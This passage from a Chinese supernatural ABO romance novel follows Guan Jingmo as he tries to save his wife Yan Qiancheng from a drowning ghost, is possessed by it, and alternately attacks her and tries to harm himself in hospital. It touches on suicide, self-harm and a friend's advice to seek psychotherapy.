被冰冷的湖水一激,关景墨整个身子都在哆嗦,十指指尖都冻得麻木。 紧接着就呛了几口湖水。 喉咙发紧,冷痛从口鼻直下,一路灼烧到肺叶。 好难受。 关景墨水性一般。 初中时,他曾坐在观众席,在疯狂的喝彩声中,看颜千澄比赛。 碧蓝水波里,她的每一次划动,每一个起伏,都兼具速度、力量与美感。 年少时的关景墨仰慕这份美好,曾想追逐她的脚步。 可他努力学了几年,还是游得不好,无法与她相比肩。 关景墨一直都知道,自己配不上颜千澄。 她那么好,那么完美耀眼,他从来不敢期待她丝毫的关注与喜爱。 这么多年来,他能梦见的最美好的事,是他能有机会,为她做点什么,帮到她一点点的忙。 如果她能跟他说声“谢谢”,赞他一句,他就会很幸福,此生完满。 她不说,也没关系。 今生能遇见她,能爱上她,本身就是他最大的幸运。 关景墨忍着刺痛,努力在水里睁大眼睛,看向颜千澄,他爱了很多很多年的人。 隔着重重水波,关景墨看见,颜千澄也正望着他,一脸惊讶。 关景墨调整姿势,尽全力游向她。 一缕粗长杂乱的头发向他袭来,速度极快。 关景墨知道,自己躲不过了。 赶在被束缚前,他使劲将攥在手心的平安结推向颜千澄。 贝贝和谢凡都说,有溺死鬼阻碍,他是无法将平安结交给千澄的。 关景墨只是不想放弃任何救千澄的机会,想试一试。 果真失败了。 平安结被他用尽全力一推,往前漂了一段路,可在距离千澄还有两米远的地方就停住了,在乱流里不住打转。 徒劳无功,还弄湿弄脏了千澄珍视的东西。 这下,千澄会更讨厌他吧。 腰腹被溺死鬼蟒蛇似的滑腻长发缠绕,收紧。 关景墨忍不住张嘴咳嗽,呛到更多冷水,眼前金星乱舞。 窒息的恐慌中,耳边响起无数低语。 “放弃挣扎,就这样死去吧。” “反正,也没人关心你的死活。” “别人不关心,她……她也不关心。” “你这样可悲的人生,到底有什么意义?” “很难受是吧,想不想……早点结束这折磨?” …… 关景墨隐约明白,是溺死鬼在作祟。 它散发的阴气在湖里弥漫,化为声声呢喃,诱人崩溃堕落。 关景墨眼睛发酸。 其实,它说的没错。 他从小就知道,没有人关心他的死活。 有时候,他也不知道,他这可悲的人生,到底有什么意义。 有时候,他真的很难受。 可是。 他现在有很重要的事要做。 关景墨硬是克制住本能的恐惧,直直望向溺死鬼。 在水里,他无法开口发声,就在心里一遍遍呼喊: “我自愿做你的替死鬼!” “你选我吧,我不反抗!” “放过千澄!” …… 他挥舞手臂,拼命吸引溺死鬼的注意,同时一遍又一遍地推动水流,想将平安结送往颜千澄身边。 窒息的感觉越来越重,关景墨意识渐渐模糊。 也不知道是不是错觉,有一次,平安结被推到离千澄一米远时,好像泛出一道纯白柔和的光辉。 溺死鬼陡然发出一声尖利的鬼啸,像刀子在玻璃上重重划过。 它松开颜千澄,双手抱头,痛苦地缩成一团,不停痉挛。 缠在关景墨身上的长发寸寸断裂,他直往下坠。 朦胧中,关景墨看见,平安结光芒渐渐消散,最后剩下的一点余光落在颜千澄头顶,像爱人的手轻抚她的头发。 颜千澄一震,脸上的表情变得极其复杂,像是哀伤,又像在微笑。 紧接着,她突然用关景墨曾见过的,兼具速度、力量与美感的标准泳姿,利箭一般向他冲来! 湖畔上,贝贝惊叹:“你不是说喻君辞只是一个普通凡人吗,怎么他做的平安结,还没到千澄姐姐手上呢,就能发挥力量?” 谢凡也惊讶,仔细观察:“喻君辞的确是个普通凡人没错……这力量,看着有点像宿世愿力,不止一世的倾尽所有全心付出,承接连结而成的深厚愿力。” 贝贝是第一次见,觉得好新奇:“传说中能穿越轮回的宿世愿力?” 人有前世今生。 在一次次生死轮回中,人类会遗失掉无数东西。 曾以为坚实可靠的,曾汲汲营营拼命争抢的财富、权位、名声……在一世生命结束那一刻,便如肥皂泡般破散消逝,了无痕迹。 而有些东西,看似虚幻柔弱,却能深深印刻进灵魂深处,历经生死轮转,沧海桑田,亘久不变。 就算平日它无迹可寻,连本人都不知道,不记得。 它依旧在。 在某个时刻,它会突然显现。 与它深刻关联的人,人生便随之发生翻天覆地的改变。 “可是……”贝贝小脸皱起,“这加了宿世愿力的守护之力,也只能帮千澄姐姐挡一次死劫吧?我已经感觉不到平安结里有任何力量了。” 谢凡点头,脸色凝重:“嗯,平安结已经废了。溺死鬼虽被重创,仍有余力,事情还没完。” 感觉到猎物逃了,溺死鬼又发出一声尖利的鬼啸。 能听见的人和鬼,耳朵一阵酸痛难受。 听不见的人,不知道怎么回事,只觉得心头的恐惧与戾气陡然升腾。 保安保镖们有的完全忘记职责,只管自己逃命,有的用指甲大力抓挠喉咙,想尽快结束这场折磨。 关景墨只看着颜千澄,眼睛一眨不眨。 他看见,鬼啸声响起时,千澄身形一晃,明显不好受。 但她马上就调整过来了。 平安结失去力量,随水流漂往远方,被她一手抓住。 然后,她向关景墨伸出另一只手。 关景墨神志已经模糊,本能地伸出自己的手给她。 两手相握,关景墨被颜千澄用力一扯,正往下坠的身子被她稳稳拉住。 然后,她纤长的手臂绕过他后背,抱紧他。 肌肤相贴。 湖水冰冷,关景墨仍能感受到她的温暖。 她带着他,奋力往上游。 千澄……在救他? 她不愿他死! 关景墨精神一振,想努力自救,减轻她的负担。 突然,一张放大的鬼脸出现在两人面前。 是溺死鬼! 水里是它的主场,它能瞬间来到湖里任何地方。 它受了重伤,鬼脸痛苦地扭曲着,血红眼眸狠狠瞪着颜千澄和关景墨。 它被困在这湖里,已经很久很久了。 久得,生前许多记忆都已磨灭消散。 但它一直记得,它是怎么死的。 因为,死亡的过程,它一直在重复,一直一直在被迫重复! 它是自己跳入湖里自杀的。 那时候,好像受了什么打击? 好像觉得很难过很迷惘? 好像觉得人生没有意义,没有意思? 它已经忘记,当时是因为什么事想不开了。 它当时以为,死了就一了百了,再也没有痛苦了。 从来没有人告诉它……或许曾有人跟它说过,它没有在意。 原来,死亡,并不是结束。 原来,自杀之人,死后会遭受无尽刑罚。 每日每夜,它一遍一遍又一遍地重复那个过程:它是怎样跳入湖里,冰冷的湖水是怎样淹没它的口鼻,胸腔是怎样酸楚难当,氧气是怎样逐渐减少…… 后来,觉得好害怕,不想死了。 可它已经无力自救了。 最后……它又是怎样痛苦无比地窒息而亡。 一遍一遍又一遍地重复。 从无间断,永无止境。 生前那些不如意,那些曾以为是天大的事,原来,跟自杀死后的遭遇相比,根本就算不得什么。 好后悔!好难受! 受不了了,它决定要寻一个替死鬼,代它受刑! 有一天,有个年轻人路过。 它悄悄靠近湖畔,抓住他的脚踝,要将他拖下水。 没想到,那人是个硬茬子。 一番恶斗,它被他压制住,上了封印。 那人被它所伤,坐在湖畔咳了几口血,叹气道:“可惜时移世易,很多传承断绝了,我不懂得该如何度化你,只能暂时封印你,我愧对祖宗啊!可怜天下受苦众生……” 被封印着,它无法再寻替身,痛苦还是一遍遍重复。 好不容易,终于等到封印松动。 这次运气挺好,一睁开双眼,它就看到一个绝佳的猎物。 不是谁都能当替死鬼的,火力旺、运势强的人,它是害不到的。 那个女Alpha,命中带煞,而且,正好在走死运,命火如同风中残烛,一吹就灭。 天赐良机!!! 漫长的折磨,终于熬到头了吗? 它抓住她,戾气入侵她的识海,将她内心深处的黑暗无限扩大。 它能感受到她的痛楚。 可未等它欢喜,她就稳住了。 她的心底,留有一片净土。就算它用尽一身戾气,也污染不了那份纯净,遮蔽不了她的光明。 原以为是绝佳的猎物,没想到是块难啃的骨头! 它想着,没关系的,无论这女Alpha精神如何强悍,终究是肉身凡胎,它再耐心等一会儿,她就会淹死了。 走死运的人,怎样死掉都不奇怪,待在家里不出门,穿盔甲挂一圈符咒也没用。 劫数就是劫数,不付出巨大的代价,怎么可能破得掉。 又有人下来救她了。 它没在意,随便分了缕头发阻挡他,继续等女Alpha淹死。 没想到,那人带来的平安结,有那么可怕的力量。 趁它受伤,女Alpha挣脱它的禁锢。 溺死鬼气得够呛。 算了,不过是多费点功夫罢了,只要她人还在湖里,就逃不掉! 现在湖里有很多人,它有别的选择。 可它还是要抓那女Alpha。 因为她在走死运,护身符又用掉了,这次应该逃不掉了! 它逼近女Alpha,伸出尖爪要抓她。 突然,女Alpha黑眸扫来,凛然生威。 它被她气势所摄,尖爪缩了缩。 再仔细一看,发现女Alpha其实看不见它,只是在观察周围状况而已。 可是……湖里喧嚣混乱,她却眸光清明,自始至终保持冷静沉着。 果真是块难啃的硬骨头。 还要选她吗? 它正犹豫着,被女Alpha抱着的男Omega突然扑腾几下,硬是挡在她身前。 他紧紧盯着它,强烈的意念传入它脑海。 “我自愿做你的替身!” “抓我吧!我不反抗!” “放过千澄!” …… 哦,这男Omega是纯阴体质,也是个不错的选择。 那就抓他吧。 溺死鬼不再看颜千澄,冰冷的鬼手伸向关景墨,扼上他的咽喉。 关景墨微微一笑,闭上眼睛。 他果真没有反抗。 为了救那女Alpha? 愚蠢! 自杀死亡后,溺死鬼日日夜夜都在后悔。 人身难得。 过往的生生世世,它积累无数功德,再碰巧遇上天大的机缘,才能修得人身。 可惜,投胎后,它什么都不记得了,居然轻率地放弃了它曾梦寐以求的人身。 现在,它罪孽深重,就算能找到替死鬼,能投胎转世,也很难再投得人身了…… 对了。 这男Omega是难得一见的纯阴体质。 与其让他做替死鬼,去赌那渺茫的投胎机会,不如…… 贪念一起,溺死鬼抵抗不住诱惑,身形幻化成一团黑影,钻入关景墨灵台内。 关景墨一颤,只觉得头疼欲裂,像被无数冰针刺穿脑髓,又像被什么暗沉可怖的东西挤压着眼耳口鼻。 他张嘴想吐,可什么都吐不出来,就一阵天旋地转,失去了知觉。 颜千澄只觉得怀里的身子突然一沉,低头一看,见关景墨手脚软垂,一动不动。 是昏迷了,还是已经……? 心情又变得极其复杂。 颜千澄告诉自己,情况危急,没有时间多想。 她娴熟地划臂蹬腿,这次再未遇到奇怪的阻碍,几经努力,她终于破开水面,带着关景墨回到岸上。 第29章 湖畔一片混乱,尖叫声此起彼伏。 导演举着大喇叭,竭力维持秩序,组织救援。 保安保镖们有的还在湖里挣扎着,有的游上来了,正瘫坐在光秃的草地上,呛咳着喘粗气,一个个都在发抖,也不知道是冷的还是吓的。 桑椹看到颜千澄上岸,欢呼一声,抱着毛巾毯子飞快跑过来,精致的脸上全是眼泪。 助理小郭和剧组众人也赶紧围上来。 颜千澄被困在水里的时间最长,但她深谙水性,又一直保持情绪稳定,尽可能减缓消耗,这时候感觉还好。 她一边喘气,一边将关景墨放在地上,快速探他颈动脉和胸口心脏。 幸好,还有生命体征。 他还活着。 颜千澄掰开关景墨嘴唇,伸手进去,掏干净他口鼻里的水藻泥沙,开放气道。 然后捏住他鼻子,与他嘴唇相贴,做人工呼吸。 桑椹不敢打扰,站在颜千澄身边,上上下下打量她,眼泪吧嗒吧嗒地掉。 颜千澄极专业,手心一路往下,寻准位置,以每分钟一百次的频率,给关景墨做胸外按压,每按压三十次,接两次人工呼吸。 循环两次后,关景墨突然剧烈咳嗽,紧闭的双眼骤然睁开。 颜千澄放开关景墨,仔细观察他的状态。 关景墨瞳孔扩散得厉害,目无焦距,四肢持续颤抖,但能自主呼吸,青紫的皮肤嘴唇恢复些许血色。 想着他的性命应该保住了,颜千澄悬着的心放下一半,接过桑椹递来的毯子披上,助理小郭拿毛巾帮她擦头发。 桑椹依依不舍地看着颜千澄,哽咽着说:“千澄姐姐,我……我去跟导演和经纪公司商议,要封锁消息,负面新闻太多,对电影没有好处的……” 梦中情人刚死里逃生,桑椹好想留在她身边,一直看着她,和她说说话,反复确认她平安无事…… 但理智告诉桑椹,现在有很重要的事要做。 这电影开拍以来,波折不断,桑椹被谋杀未遂、桑椹和颜千澄的绯闻、颜千澄发声维护被全网黑的配偶关景墨、桑椹从影多年首次拍激.情戏、关景墨频繁探班疑似父凭子贵跟颜千澄感情升温…… 电影要保持热度,是需要适当宣传,但若是新闻太多,炒作太过,会惹人反感。 更何况今天这事……太诡异了,如果不及时控制引导舆论,不知道会被传成什么样子。 颜千澄道谢:“麻烦你了,我会让颜氏集团配合。” 她和关景墨都是颜氏集团的重要人物,如果传出他们差点双双淹死的消息,对颜氏集团没有好处。 也怕祖母知道会担心。 桑椹神色复杂地瞅了关景墨一眼,转身离开。 警车和救护车特有的尖锐鸣笛声由远及近,颜千澄向剧组众人点头告别,准备扶关景墨上救护车。 关景墨刚咳完,躺在地上喘着气,仰头凝视颜千澄,眼睛里全是泪:“千……千澄……” “嗯,我在,没事了。”事发仓促,颜千澄没时间理清关景墨为什么来到这里,为什么跳下水,又为什么要拼命将平安结推给她。 但她感受到了关景墨不畏危难、不顾一切要救她的决心,还有……如果她不幸遇难,他愿意与她同死的深情。 有些无奈,也有几分感动。 想着关景墨今天死里逃生,受了惊吓,颜千澄柔声安慰他,伸手想再检查一下他的心跳脉搏。 却被他猛地推开。 颜千澄一怔,再看关景墨,发现他额头上全是汗。 下一瞬,关景墨的眼神变了。 阴森森,怨戾深重,像从地狱爬上人间的恶鬼,让人看一眼就浑身不舒服。 观人先观眼。 颜千澄跟关景墨自小相识,多年同班同学,就算一直做不成很亲密的朋友,对他的私事所知不多,但她对他的眼神,总是熟悉的。 关景墨从来没有明确说过喜欢她,属于“爱在心里口难开”的暗恋,但他的暗恋,跟明恋也差不多了。 他的视线总是不自觉地追随她。看着她时,他眼睛会发光,满满的恋慕柔情,还有几分卑微与胆怯。 跟她说话时,他紧张得脸颊线条都绷紧。 无论在商场上怎样沉稳凛然游刃有余,关景墨在她面前,一直是个害羞的少年。 可现在,他的眼神,极度陌生。 颜千澄正惊讶着,关景墨眼神一闪,又泛出几丝熟悉的感觉,他拼命挣扎往旁边缩,哑声哭喊:“千澄……快逃!逃……快杀了我!快点杀了我!” “患者出现急性应激反应!”几个医护人员抬着担架跑过来,为首的医生喊,“有家属在吗?” 颜千澄赶紧应:“我是他的Alpha.” 应激反应,颜千澄是知道的。 大学时,有其它院系的同学结伴去海滩玩,不幸遇上海啸,生还的同学多多少少出现情绪激动尖叫哭喊的现象。 心理老师说,这是应激反应,是溺水濒死经历引发的强烈焦虑与恐惧感。 当时颜千澄作为志愿者去帮忙,亲眼看见,有个同学远远望见桌面上一次性透明杯子里的一点点水,就吓得整个人弹跳起来,大声尖叫着往外逃。 回忆那些同学的种种表现,关景墨现在这状况,或许不算特殊? 只是……他刚刚的眼神…… 关景墨需要急救,颜千澄实在没时间多想,她清晰快速地向急救人员简述关景墨的情况以及她做过的措施,协助他们尝试安抚关景墨。 安抚失败。 无论颜千澄和急救人员怎么说,关景墨一直抗拒所有人接近,哭喊着要颜千澄快逃,快杀掉他。 最后经颜千澄同意,急救人员给关景墨注射镇静剂,用约束带捆绑手腕脚踝。 颜千澄陪着关景墨上救护车,去医院接受后续检查治疗。 路上,颜千澄打电话到颜氏集团,简要说明情况,下达指示。 等救护车到达医院,一个身穿职业套装,妆容精致的女Omega已站在门口等着他们了。 她是关景墨的总裁助理,颜千澄的心腹卫蓝。 她年纪尚轻,眼神举止却尽显气场,兼具传统Omega的温婉柔美与现代大型集团核心成员的精明干练。 颜千澄下车,卫蓝立刻迎上前,紧张地问:“颜董,您身体怎样?” “我还好,现在要换身衣服,做点检查,你照顾关总。”颜千澄吩咐。 注射镇静剂后,关景墨就昏睡了,急救人员多次检查他的呼吸心率,说他身体状况还好。 颜千澄现在身上还湿着,就让心腹先陪着他。 “是。”卫蓝应,先打量颜千澄几眼,确认她没事,才将带来的颜氏集团职员分两批,一批随她一起跟着关景墨,另一批跟着颜千澄。 卫蓝准备周到,将颜千澄的衣服和惯用的沐浴洗发用品都带来了。颜千澄洗去一身污秽,做完身体检查,已是日落西山,华灯初上了。 来到关景墨的病房,卫蓝双手递给她一个食盒。 是颜千澄爱吃的饭菜,温度刚好。 “他怎么样?”颜千澄问。 “医生说,关总多项生理指标已回到正常范围,因曾有应激表现,需要精神科医生会诊,评估心理状况,建议关总留院观察三天以上,”卫蓝语调利索,“半小时前关总曾醒来一次,说了几句话,又昏睡了。” 颜千澄正要吃饭,闻言筷子一顿:“他说什么了?情绪怎样?” 卫蓝回答:“关总说‘这是哪里?’、‘为什么要绑着我’和‘凭什么绑我’,情绪有些激动,说话音调都变了,但看上去十分疲累,只能勉强说话,没有过激动作。医生说,患者没有自伤或伤人的行为和意图,意识清醒,主动要求解除约束带,依照医疗规范,他们是要立刻解除的。” 颜千澄一看,关景墨手脚上的约束带果然已经除去了。 他穿着病号服躺在病床上,脸色青白,额头却一片暗黑,眉头仍是紧蹙着,睫毛颤动,睡得不太安稳。 “你们没帮他弄干头发吗?”颜千澄注意到,离水半天了,关景墨的头发还是湿的。 “我们用毛巾擦过,也用吹风机吹过,”卫蓝解释,“可每次弄干没多久,关总的头发又湿了,可能是汗。” 擦过吹过,又湿了……估计也没人敢倒水到关景墨头上,那大概真的是汗。 颜千澄安抚:“嗯,抱歉,错怪你们了。” 卫蓝腼腆一笑,开始汇报工作:“公关部部长报告说,已依照颜董指示,协同剧组封锁消息。我刚检查过,网上没有出现相关新闻,已要求公关部持续监控。另外,关总休假期间的工作安排……” 卫蓝是颜千澄看好的人才,能力出类拔萃,办事稳妥,这几个月一直辅助关景墨,对颜氏集团各方面都很熟悉,把一切事务安排得井井有条。 颜千澄听完,点头赞许:“很好。时间不早了,你回家休息吧,今天辛苦了。”* “那颜董您呢?”卫蓝问。 “我留在这里陪他。”颜千澄说。 卫蓝劝:“您今天已经很累了,应该多休息,如果您不放心,我留下照顾关总吧,我跟关总都是Omega,没有不方便。” “现在已经是下班时间了,照顾他是我的家事,”颜千澄拍拍卫蓝肩膀,“关总这几天休假,颜氏集团这重担可就压到你肩上了。快回去休息吧,别累坏了。” “可是……”卫蓝还想再劝。 颜千澄笑笑:“放心吧,有护工在,累不到我的。” 卫蓝无奈,一步三回头地离开病房。 颜千澄掏出手绢,帮关景墨擦头发。 很少这样近距离看他,颜千澄觉得,关景墨其实……长得还不错,只是不太符合社会主流审美。 他睡得不安稳,睫毛时不时微微颤动,突然小声嘟囔什么,颜千澄侧耳倾听,听到他在说“千澄”。 颜千澄叹气:“傻子。” 擦完头发,颜千澄扔掉手绢,转身整理自己的床铺。 关景墨住的是VIP病房,有专门的陪床,被褥还算干净。 颜千澄坐在床上,拿出手机,回复导演和桑椹的慰问,向剧组请个假,然后登录颜氏集团的工作邮箱。 关景墨病倒了,总不能真让卫蓝一个人做两份工作,这几天,颜千澄得多花些心思在颜氏集团那边。 今天的确是累了,挑点紧要工作做完,颜千澄退出邮箱,看一眼关景墨,发现他头发又湿了。 怎么这么多汗? 按铃请医生来检查,医生也说不出个所以然,说明天可以请中医会诊。 颜千澄拿吹风机帮关景墨吹干头发,让护工照顾他,就准备休息了。 躺下盖好被子,颜千澄突然想到,相识十几年,成婚数月,这还是第一次,她跟关景墨同室而卧,共度长夜。 第30章 颜千澄很快睡着了。 迷迷糊糊中,她好像看见一大一小两个黑色人形阴影。 小的阴影很激动地手舞足蹈,好像想告诉她什么,但颜千澄听不见它说话,只隐约感觉,它好像在催她快走,离关景墨远点。 大的阴影不说话,也没动,就静静地看着她。 颜千澄看不清它的眼睛。 可是……不知怎么的,颜千澄感觉到它的情绪。 很复杂。 它好像在恨她,好像在伤感,又好像……跟小的阴影一样,在着急,希望她及早脱离危险? 可它又压抑着,不愿意劝她。 因为它也恨着她。 颜千澄疑惑,它是谁呢?自己跟它,以前认识吗? 小的阴影突然伸出瘦小的手臂,指向左边。 颜千澄顺着它指的方向看去。 眼睛睁大,周围一切变了模样。 颜千澄才发现,原来刚刚是在做梦。 现在,她醒来了,回到现实世界。 在这里,她看不到一大一小两个黑色人形阴影。 她看到了关景墨! 他还躺在病床上,不知道什么时候醒了,正目不转睛地盯着她! 他的眼神…… 阴森森,怨戾深不见底,藏都藏不住。 正是白天曾出现过的,她极度陌生,从未在关景墨眼睛里见过的恶鬼般的眼神! 颜千澄浑身汗毛竖起。 多年习武,未及多想,身体已自动弹起,摆出战斗姿势,双眼紧紧盯着关景墨,密切注意他的一举一动。 感应到危险,她本能自卫。 眼神动作,不自觉地流露出清晰的敌意。 关景墨似是愣了愣。 紧接着,他突然面露痛苦,伸手抓心脏位置:“怎么……怎么这么疼?疼疼疼!我心脏好疼!” 颜千澄蹙眉,关景墨说话的音调怎么变了? 哦,卫蓝好像也提过,关景墨曾醒来一次,说了几句话,说话音调变了。 她以为是关景墨情绪激动导致的。 现在音调又变,是因为疼得太厉害吗? 关景墨以前说话音调有变过吗? 是溺水时,喉咙受伤了吗? 见关景墨整个人都蜷缩起来,抓着心脏处不停喊疼,颜千澄保持着警惕,按铃喊医生。 医生很快来了,给关景墨做检查,掀开他的衣服,露出一片雪白。 颜千澄下意识要转头,迟疑片刻,想着关景墨是她的Omega,两人是合法夫妻,就没再回避,紧紧盯着他。 关景墨觉得压力好大。 不知怎么的,还感觉一股股热流冲上脸颊,手脚颤抖着要遮住自己。 可医生的听诊器已按上他胸口了,说他心率过快,要他深呼吸,放松。 医生反复听了好一会儿,一脸困惑,让人推来几部机器,做心电图和心脏彩超。 查不出问题,医生又喊护士抽血。 关景墨拒绝:“不用了,我现在不疼了。” 他发现,只要避开那女Alpha的视线,尽量别在意她……尤其是别想起她之前充满敌意的模样,他的心脏就不会疼。 医生想着,Omega大多娇气,大概是怕抽血时被针扎疼吧。 想不到关景墨这个赫赫有名的Omega总裁也会怕疼。 哦,他可能是在撒娇,想让自己的Alpha哄一哄。 从医多年,医生见过很多这样的Omega,生着病呢,还不忘跟自己的Alpha腻腻歪歪,抽个血都能上演一出缠绵纠葛让人酸掉大牙的戏码。 他看向关景墨的Alpha颜千澄。 这样美得惊人的Alpha,哄起人来,应该……还好吧? 感觉再油腻再恶心的情话,从她嘴里说出来,都能变成动听的音符。 颜千澄接收到医生的眼神示意,开口劝她的Omega:“还是检查一下比较稳妥。另外,你的汗有点多,你看枕头都湿了,可以顺便多抽点血查一下……医生,请问汗多要查什么项目?” 理智平淡就事论事的语调,话里的糖分为零。 如果是原来的关景墨,一定很早就知道,看上去优秀出色无所不能的她,从小到大唯一不擅长的事,就是哄人。 尤其不擅长哄Omega,她从来没哄过,对这业务陌生得很。 关景墨:“……” 他们不是同生共死不离不弃的AO配夫妻吗?怎么这女Alpha…… 是起了疑心吗? 医生:“……” 好吧,这对AO不演腻歪剧,节省很多时间,挺好的。 见关景墨不再反对,就麻利地开了抽血单子。 关景墨咬牙。 他不是不想反对,是根本开不了口反对。 他发现,那女Alpha要他做的事,他从心底里就只想服从,根本就无法拒绝。 只能龇牙咧嘴地被护士抽了几筒血。 抽完血,颜千澄又请医生检查他的喉咙。 几番折腾,已是半夜时分,颜千澄仔细看完关景墨的所有检查报告,柔声对关景墨说:“睡吧,好好休息,我守着你。” 她眼神里,那份会令关景墨痛彻心扉的敌意已经褪去,表情很平静。 关景墨看不透她在想什么。 身体已顺着她的要求躺下了。 颜千澄上前,细心地帮关景墨盖好被子。 然后,她奇怪地看他一眼:“你怎么了?是不是心脏又疼了?” 关景墨心脏没疼,只是有些酸酸软软的感觉。 顺着她的视线,他摸一下自己的脸颊。 摸到一手水泽。 关景墨才发现,自己竟然哭了! 那女Alpha只是表达出一点点关心,说一句“我守着你”,帮他盖个被子,他就感动得哭了? 关景墨恨恨地想,这样下去,他只能沦为那女Alpha的奴隶啊! 呼之则来挥之则去,身体被她奴役,情绪被她操控,完全没有自我,永世不得翻身的那种最底层的奴隶! 凭什么! 混混沌沌的脑袋想不了太多,怨气戾气最后全部化为一个念头: 一定要毁掉她! 不然他没有好日子过! 他勉强笑了笑:“你……你也快睡吧……” 颜千澄凝视关景墨一会儿:“好。” 她在关景墨旁边的陪床上躺下来,盖上被子,关了灯。 两人没再说话。 今天发生了很多事,颜千澄很累,一直硬撑着没睡。 她曾考虑过要离开,让护工和保镖看护关景墨。 可是…… 她在湖里遇险时,关景墨毅然决然地跳下来救她。 现在轮到关景墨处于危难之中,要抛下他,独自逃生……颜千澄真的做不到。 她这也不算是逞一时血气之勇吧,应该算艺高人胆大?颜千澄自信,无论遇上什么状况,她都能做得比大多数人好。 比如现在。 关景墨一动不动,呼吸也刻意放轻。 但人清醒时和睡眠时的呼吸,是不一样的,颜千澄无聊时曾研究过。 这时候,一听关景墨的呼吸声,颜千澄就知道,他在装睡。 再耐心等了一段时间,颜千澄听到几声细微的动静,心道一声“来了”,利落地翻身下床。 果然看见,关景墨拿起床头柜上的水果刀,正要向她刺来! 眼神阴森狠戾,誓要置她于死地! 颜千澄眉毛都没动,看准关景墨的动作,正要使一招“空手夺白刃”制住他,突然瞥见关景墨的眼神又变了。 熟悉的爱慕卑微,还有沉沉的哀伤。 这是……诀别的眼神? 紧接着,颜千澄看见,关景墨手腕一转,水果刀的刀尖,直刺向他自己的心脏! 但颜千澄早已逼近。 以她的武术造诣,只要一近身,无论关景墨是想伤人,还是自伤,都是不可能的。 颜千澄认准关景墨手臂上的穴位,用巧劲一击,关景墨手臂一阵酸麻,水果刀脱手掉落。 然后,颜千澄用擒拿手法制住关景墨,将他压在病床上,按铃请医生来。 “千澄……杀了我……”关景墨喊。 他的音调又变回来了。 颜千澄低头看关景墨。 他身子不停颤抖,暗沉的额头上全是汗,像在忍受极大的痛苦。 双眸湿漉漉的,满是哀求。 “你到底怎么了?”颜千澄问。 关景墨颤着唇,想说什么,突然,瞳孔一片混浊。 颜千澄头皮发麻,压住关景墨的手下意识地加了几分力度。 关景墨被她压得呻.吟一声。 下一瞬,他眼神又变了,拼命挣扎,想抓她咬她。 可他现在是一个手无搏鸡之力的Omega,就算发疯时力气大点,也挣不开颜千澄的禁锢。 关景墨气得额头青筋乱跳,用变调的声音辱骂颜千澄。 颜千澄没生气,就觉得挺新奇。 关景墨出身高贵,年少老成,她从没想过,有朝一日,关景墨嘴里会说出这么多的污言秽语。 这一堆堆匪夷所思的污言秽语,还是对她说的…… 瞥见医生来了,颜千澄不想关景墨社死,捂住他的嘴,跟医生说明情况,叹气:“我怀疑他有双重人格,一个人格有伤人倾向,另一个人格有自毁倾向,建议再给他上约束带,这次不要轻易松绑了。”—— 第二天早上,颜千澄和她的女Alpha心理医生朋友黄若安一起看监控录像,问:“你有什么看法?” 黄若安一脸震惊:“是挺像双重人格的,至少我敢肯定,原来的那个关景墨,绝对不会那样对你。” 黄若安跟颜千澄关景墨同高中同大学,比他们高两届,是颜千澄的挚友,跟关景墨也不陌生。 她皱起眉头:“可是,如果是双重人格,那个会杀你的人格,是怎么形成的?我以前一点都没发现啊。导致它出现的契机,又是什么?” 颜千澄详细讲述这几天的经历,黄若安苦苦思索:“原本拼命要救你,怎么脱险之后,突然变成要杀你,这不合逻辑呀……” “关景墨昨晚说的话里,有几个特别的词汇,应该是东边沿海一带的方言。”颜千澄告诉黄若安她的新发现。 “关景墨去过东边沿海一带吗?”黄若安问。 颜千澄想了想:“应该去过吧,关景墨去过很多地方的,工作需要。” 关景墨身为大集团的CEO,是要经常出差的。 “长住过吗?什么时候?还是身边有熟悉亲近的人来自那边?一个人情绪失控时下意识说的语言,就算不是母语,也跟母语差不多了。”黄若安追问。 颜千澄茫然:“我不知道。” 黄若安:“……” 她一时忘了,颜千澄其实跟关景墨不太熟,的确不清楚他的事。 颜千澄打电话给卫蓝,要她查一下关景墨什么时候去过东边沿海一带,平时跟什么人比较亲近。 三言两语交代完,颜千澄挂掉电话,问:“那个会自毁的人格呢,你怎么想?” 她其实比较担心这个人格。 毕竟,另一个人格脑子和体力都一般,就算想杀她,也杀不死。 黄若安沉默片刻,沉声说:“千澄,老实说,几年前我就觉得,关景墨有强烈的‘死本能’,这个会自毁的人格,应该就是他原本的人格。” “死本能?”颜千澄惊讶。 黄若安解释:“弗洛伊德主张,人类除了有生的本能外,还有死亡本能。死亡本能会导致某些黑暗的、具有破坏性的行为。当死本能指向外部时,会攻击侵犯他人;当死本能指向人自身内部时,就会出现自毁现象。据我观察,关景墨的死本能,远比他的生本能强烈。而且他的死本能,一直是指向他自身的。”(1) “你的意思是,几年前,关景墨就有自毁倾向了?”颜千澄问。 黄若安叹气:“或许,是更久之前……原生家庭、童年经历,对人的影响是长远的。关景墨小时候未被好好爱过,他可能会觉得,自己不配被爱,有‘我是多余的’、‘没有人需要我’、‘我死了比较好’等想法,日积月累,形成他的自毁倾向。一直没有付诸行动,是因为除了死本能,他还有生本能。而支撑他的生本能的……” 黄若安又叹气:“千澄,是你。” 30-40 第31章 颜千澄沉默。 黄若安停顿片刻,继续说:“关景墨的生本能与死本能相抗衡,形成一种稳态,他得以长大成人,还做出一番事业。” “可是,如果有一天,他发现,自身的存在会威胁到你呢?” “我猜测,关景墨已经知道,他身上有另一个人格了,那个人格想杀你。” “关景墨不愿伤害你,生本能急剧缩小,被他的死本能完全压倒,于是,他就一心求死……嗯,我想应该是这样了。” 这说法的确挺合逻辑,颜千澄点头,问:“那现在,我应该怎样做?” “新出现的人格,我还没有头绪,要继续观察。这段时间,千澄你一定要注意安全!我知道你很厉害,但就怕一时疏忽,被他钻了空子……”黄若安叮嘱了一堆话,“至于原来的那个人格……其实,关景墨早就应该接受心理治疗了,只是医不扣门,患者自己不主动寻求帮助,我们医生是不能强行介入的。你想帮他,可以劝他来做诊疗。你说的话,他会听的。” 颜千澄点头答应,继续问:“我还需要做什么?” 黄若安凝视颜千澄:“千澄,你累不累?” 颜千澄一怔。 黄若安柔声说:“千澄,你已经做得很好了,这段时间,尽量避免刺激关景墨,给他适度的支持与安慰,就够了。” 颜千澄蹙眉:“可是……” 黄若安叹气:“你觉得关景墨是你的配偶,你有责任照顾好他,解决他的问题,是不是?千澄,你习惯将所有责任扛到自己肩上,无论那责任有多沉重……小说电影里的治愈救赎情节,其实很多是不专业的,人的心理创伤,不是说几句温暖的话,做几个关怀的举动就能疗愈的,他们需要的是长期的规范的心理治疗,心理咨询师要接受系统的训练,还需要……” 